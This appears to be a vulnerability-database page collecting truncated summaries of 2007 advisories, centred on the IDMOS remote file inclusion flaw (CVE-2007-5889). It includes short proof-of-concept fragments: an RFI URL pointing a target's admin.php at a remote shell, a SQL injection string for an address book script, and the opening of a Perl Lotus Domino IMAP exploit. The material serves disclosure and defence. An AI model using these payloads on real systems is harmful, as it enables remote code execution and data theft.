CVE-2007-5889

Multiple PHP remote file inclusion vulnerabilities in IDMOS 1.0 Alpha aka Phoenix allow remote attackers to execute arbitrary PHP code via a URL in the siteabsolutepath parameter to 1 admin.php, 2 menuadd.php, and 3 menuoperation.php in administrator/, different vectors than CVE-2007-5294...

CVE-2007-5889

CVE-2007-5889 describes PHP remote file inclusion vulnerabilities in IDMOS 1.0 Alpha (aka Phoenix). The affected components are the admin-facing scripts (admin.php, menu_add.php, menu_operation.php) under the administrator/ path, where a URL passed to site_absolute_path can cause arbitrary PHP co...

CVE-2007-5889: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in IDMOS 1.0 Alpha aka Phoenix allow remote attackers to execute arbitrary PHP code via a URL in the siteabsolutepath parameter to 1 admin.php, 2 menuadd.php, and 3 menuoperation.php in administrator/, different vectors than CVE-2007-5294...

idmos-rfi.txt

Author: 0x90 HomePage: WwW.0x90.CoM.Ar Contact: Gunsat0x90dotcomdotar Vendor: IDMOS v1.0 Alpha Download: http://ufpr.dl.sourceforge.net/sourceforge/idmos/idmos.zip PoC http://target/administrator/admin.php?siteabsolutepath=http://shell?...

IDMOS v1.0 Alpha Multiple RFI Vulnerability

Author: 0x90 HomePage: WwW.0x90.CoM.Ar Contact: Gunsat0x90dotcomdotar Vendor: IDMOS v1.0 Alpha Download: http://ufpr.dl.sourceforge.net/sourceforge/idmos/idmos.zip PoC http://target/administrator/admin.php?siteabsolutepath=http://shell?...

[SECURITY] [DSA 1388-3] New dhcp packages fix arbitrary code execution

------------------------------------------------------------------------ Debian Security Advisory DSA-1388-3 [email protected] http://www.debian.org/security/ Noah Meyerhans October 29, 2007 http://www.debian.org/security/faq -...

[SECURITY] [DSA 1388-3] New dhcp packages fix arbitrary code execution

------------------------------------------------------------------------ Debian Security Advisory DSA-1388-3 [email protected] http://www.debian.org/security/ Noah Meyerhans October 29, 2007 http://www.debian.org/security/faq -...

CodeWidgets Web Based Alpha Tabbed Address Book Index.ASP SQL注入漏洞

CodeWidgets Web Based Alpha Tabbed Address Book是一款基于ASP的WEB应用程序。 CodeWidgets Web Based Alpha Tabbed Address Book不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞进行SQL攻击，获得敏感信息或操作数据库。 问题是由于'index.asp'脚本对用户提交的'alpha'参数缺少过滤，提交恶意SQL查询作为参数数据，可更改原来的SQL逻辑，攻击者可以获得敏感信息或操作数据库。 CodeWidgets Web Based Alpha Tabbed Address Book...

IBM Lotus Domino 7.0.2FP1 IMAP4 Server LSUB Command Exploit

Exploit for unknown platform in category remote exploits =========================================================== IBM Lotus Domino 7.0.2FP1 IMAP4 Server LSUB Command Exploit =========================================================== !perl "IBM Lotus Domino" IMAP4 Server 'LSUB' Command Exploit...

IBM Lotus Domino 7.0.2FP1 - IMAP4 Server LSUB Command

!perl "IBM Lotus Domino" IMAP4 Server 'LSUB' Command Exploit Author: Manuel Santamarina Suarez e-Mail: [email protected] use IO::Socket; use File::Basename; destination TCP port $port = 143; SE handler You can only use HEX values from 0x20 to 0x7e! printable ASCII characters You must use a...

wba-sql.txt

http://Aria-Security.Net ------------------------------------ Web based alpha tabbed address book SQL Injection codewidgets.com Poc index.asp?alpha='SQL INJECTION Credits Goes To Aria-Security Team Regards, The-0utl4w...

[SECURITY] [DSA 1390-1] New t1lib packages fix arbitrary code execution

------------------------------------------------------------------------ Debian Security Advisory DSA-1390-1 [email protected] http://www.debian.org/security/ Noah Meyerhans October 18, 2007 http://www.debian.org/security/faq -...

PT-2007-6587 · Php · Sphpblog

Name of the Vulnerable Software and Affected Versions: PHPBlog version 0.1 Alpha Description: The issue allows remote attackers to execute arbitrary PHP code via a URL in the blog localpath parameter to includes/functions.php or includes/email.php. However, it is noted that this issue is disputed...

PT-2007-6586 · Phpcms · Phpscms

Name of the Vulnerable Software and Affected Versions: phpSCMS versions 0.0.1-Alpha1 Description: The issue allows remote attackers to execute arbitrary PHP code via a URL in the dir parameter in the includes/functions.php file. This is a remote file inclusion issue. Note that the identified code...

[SECURITY] [DSA 1379-2] New openssl packages fix arbitrary code execution

------------------------------------------------------------------------ Debian Security Advisory DSA-1379-2 [email protected] http://www.debian.org/security/ Noah Meyerhans October 10, 2007 - ------------------------------------------------------------------------ Package : openssl097,...

Remote file inclusion

PHP remote file inclusion vulnerability in tasks/sendqueuedemails.php in NuclearBB Alpha 2, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the rootpath parameter...

CVE-2007-4906

PHP remote file inclusion vulnerability in tasks/sendqueuedemails.php in NuclearBB Alpha 2, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the rootpath parameter...

CVE-2007-4906

PHP remote file inclusion vulnerability in tasks/sendqueuedemails.php in NuclearBB Alpha 2, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the rootpath parameter...

CVE-2007-4906

CVE-2007-4906 affects NuclearBB Alpha 2 and its file tasks/send_queued_emails.php . The vulnerability is a PHP remote file inclusion triggered when register_globals is enabled, allowing an attacker to execute arbitrary PHP code by supplying a URL in the root_path parameter. The connected document...

NuclearBB Alpha 2 (root_path) Remote File Inclusion Vulnerability

No description provided by source. Vuln Product: NuclearBB Alpha 2 Vendor: http://www.nuclearbb.com/ Vulnerability Type: Remote File Inclusion Autor: Infection Team: Rootshell Security Team Vulnerable file: /NuclearBB/tasks/sendqueuedemails.php Exploit URL:...